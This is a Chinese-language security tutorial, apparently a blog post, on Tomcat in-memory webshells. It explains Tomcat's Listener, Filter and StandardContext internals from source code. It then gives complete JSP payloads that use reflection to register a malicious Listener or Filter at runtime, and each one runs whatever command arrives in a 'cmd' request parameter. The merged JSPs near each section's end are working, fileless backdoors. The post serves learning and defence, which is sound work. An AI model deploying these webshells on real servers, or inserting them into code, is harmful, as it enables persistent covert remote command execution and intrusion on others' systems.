内存马大致可以分为两种,第一种是利用Java Web的组件,如Tomcat下的动态添加Servlet、Filter、Listener的恶意组件,在Spring框架下就是Controller、Intercepter。第二种是修改字节码,如利用Java的Instrument机制,动态注入Agent。
本文分析Tomcat型内存马的其中两个,剩下的Tomcat型内存马下一篇文章写;学习内存马之前,还需要了解Java Web三大组件、tomcat、jsp的基础知识。
前置基础
基础知识只写了一些简单介绍
三大组件
Java Web三大组件:Listener、Filter、Servlet
简单介绍如下
- Listener:它是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
- Filter:它用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。浏览器发出的请求再发送到Servlet之前会先经过Filter。
- Servlet:它用来处理客户端发送的请求,并发送给对应的Servlet进行处理
Tomcat架构
Tomcat是java应用服务器,是Servlet容器。
从组件角度看分为Server、Service、Connector、Contaier四部分

- Server:表示服务器,所有的一切都包含在Server中
- Service:表示服务,Server中可运行多个Service服务;一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。
- Connector:表示连接器,它将Service和Container连接起来,主要就是把客户端的请求转发给Container容器。
- Contaier:表示容器,是Servlet容器。包括 Engine、Host、Context、Wrapper容器,它们均继承自Container接口。
Contaier层级关系如下:
Engine
└── Host(虚拟主机)
└── Context(Web 应用)
└── Wrapper(Servlet 实例)
Context
Context是Container组件的一种子容器,一个Context对应一个Web应用。
存在三种Context分别为ServletContext、ApplicationContext、StandardContext。
ServletContext接口,用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。
三种context的关系
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
Tomcat内存马
Tomcat内存马原理就是可以动态的将恶意组件添加到正在运行的Tomcat服务器中,而组件有Listener、Filter、Servlet,我们可以写恶意的组件,并把它动态注册到tomcat中就可以利用,因此内存马的类型就包含Listener型、Filter型和Servlet型内存马。
Listener型
Listener大致可以分为ServletContextListener、HttpSessionListener、ServletRequestListener三种,其中ServletRequestListener是用来监听ServletRequest的,当客户端访问任意路径时,都会触发ServletRequestListener#requestInitialized()的方法,因此很适合做内存马。
先在tomcat中写一个恶意的Listener测试,看看能不能执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpServletRequest; import java.io.IOException; @WebListener public class ListenerTest implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }
|

通过cmd参数传入命令

成功执行命令说明这个恶意Linstener可以利用,接下来就需要利用动态注册的方式把这个Listener添加进tomcat服务器中。
创建Linstener流程分析
想把Linstener动态注册到tomcat中,先调试看一下它的创建流程,看看需要什么条件。
分析如下:
- 这里可以看到Standardcontext类的FireRequestInitEvent()方法可以调用我们的Listener

StandardContext#fireRequestInitEvent()源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public boolean fireRequestInitEvent(ServletRequest request) { Object instances[] = getApplicationEventListeners(); if ((instances != null) && (instances.length > 0)) { ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request); for (Object instance : instances) { if (instance == null) { continue; } if (!(instance instanceof ServletRequestListener)) { continue; } ServletRequestListener listener = (ServletRequestListener) instance; try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit", instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false; } } } return true; }
|
Object instances[] = getApplicationEventListeners();
这里定义了一个数组,并通过getApplicationEventListeners方法获取Listener数组
继续跟进一下getApplicationEventListeners()
方法
可以看到该方法返回了applicationEventListenersList
因此可以知道Listener实际是储存在applicationEventListenersList
中的,因此可以使用addApplicationEventListener
方法将恶意Listener添加进去

内存马编写
分析完创建流程 内存马编写思路就清晰了,编写流程如下:
- 先获取StandardContext类
- 编写恶意Listener
- 通过addApplicationEventListener()添加Linstener
获取StandardContext类
在调试过程中可以发现StandardHostValve
类可以通过request方法获取StandardContext类,而JSP也内置了request对象,因此可以用request获取StandardContext类

还是老样子先用用反射获取request,然后再获取StandardContext
1 2 3 4 5
| <% Field req =request.getClass().getDeclaredField("request"); req.setAccessible(true); Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext(); %>
|
另一种获取StandardContext方法
1 2 3 4 5
| <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
|
编写恶意Listener
上面已经写过了,这里直接粘贴
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @WebListener public class ListenerTest implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }
|
添加Listener
1 2 3 4
| <% LinstenerTest linstentest = new LinstenerTest(); context.addApplicationEventListener(linstentest); %>
|
合并一起如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="jdk.nashorn.internal.ir.RuntimeNode" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="Listener.ListenerTest" %> <%@ page import="java.io.IOException" %> <%! public class ListenerTest implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } }%> <% Field req =request.getClass().getDeclaredField("request"); req.setAccessible(true); Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext(); ListenerTest linstentest = new ListenerTest(); context.addApplicationEventListener(linstentest); %>
|
成功执行命令

Filter型
同理,也可以动态添加恶意Filter,而Filter是在FilterChain中通过doFilter()按顺序一个一个被调用的,因此可以把Filter添加进FilterChain中,

编写一个恶意Filer测试,看看能不能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Filter; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebFilter; import java.io.IOException; import javax.servlet.*; @WebFilter("/*") public class FilterTest implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
成功执行,说明恶意Filter写的没有问题

Filter流程分析
打上断点调试

发现ApplicationFilterChain
类下的internalDoFilter()
方法调用了我们创建的恶意Filter;跟进看一下,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false".equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object[]{req, res, this}; SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); } } ......#省略 }
|
发现有一个filterConfig数组(一个Filter对应一个filterConfig,用来存储filter上下文信息)且filter是通过filterConfig.getFilter()获取的

ctrl+左键跟进filters,发现它是ApplicationFilterConfig属性的数组

且调用了dofilter()方法

接下来找一下ApplicationFilterChain.filters
是在哪里被赋值的
我们应该往前找,找到了StandardWrapperValve#invoke()
方法

在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类

跟进ApplicationFilterFactory.createFilterChain()
方法,看一下FilterChain是怎么创建的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain(); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
|
- 通过上面源码总结FilterChain的创建流程
第一步通过filterChain = new ApplicationFilterChain()
创建FilterChain
第二步通过StandardContext context = (StandardContext) wrapper.getParent();
获取StandardContext对象
第三步通过StandardContext的findFilterMaps()
获取FilterMap,其中包含Filter的名称及路径信息
第四步通过context.findFilterConfig(filterMap.getFilterName())
->Filter名称与findFilterConfig
获取FilterConfig
第五步 通过filterChain.addFilter(filterConfig);
将filterConfig添加进filterChain中;其中addFilter()方法会把filterconfig添加进Filters中
因此接下来需要把恶意Filter的信息添加进FilterConfig数组中,这样恶意Filter就会被初始化到Filters中。
动态注册Filter
调试createFilterChain过程中发现StandardContext包含 filterConfigs、filterMap、filterDefs(filter的定义)三个属性,因此动态注册时需要添加这三个属性。
filterConfigs
FilterDef就是对应web.xml中的filter标签
1 2 3 4
| <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter>
|
filterMap
1 2 3 4
| <filter-mapping> <filter-name></filter-name> <url-pattern></url-pattern> </filter-mapping>
|
内存马编写
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef定义Filter
- 创建FilterMap
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,可以将ServletContext转化为StandardContext使用
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
恶意Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class FilterTest implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
使用FilterDef定义Filter
1 2 3 4 5 6
| String name = "FilterTest"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
|
创建FilterMap
1 2 3 4 5
| FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
|
封装filterConfig和filterDef到filterConfigs
1 2 3 4 5 6 7 8
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);
|
合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%> <%! public class FilterTest implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }%> <% FilterTest filter = new FilterTest(); String name = "FilterTest"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);%>
|
先访问jsp

执行命令成功

总结
该篇分析了Listener型和Filter型的内存马,Listener型内存马是使用StandardContext#addApplicationEventListener()
方法添加恶意Listener;Filter型内存马主要是需要添加FilterDef、FilterMap、FilterConfig三个属性并把它添加进FilterConfigs中,这样tomcat就会读取到恶意Filter的FilterConfig,从而把恶意Filter添加进Filters中,最终被添加到内存中从而可以接受参数执行命令。
下一篇继续分析剩余的Tomcat型的内存马
参考链接
https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html
https://drun1baby.top/2022/08/19/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-01-%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9%E5%AD%A6%E4%B9%A0/#0x03-Tomcat-%E5%9F%BA%E7%A1%80%E4%BB%8B%E7%BB%8D
https://goodapple.top/archives/1359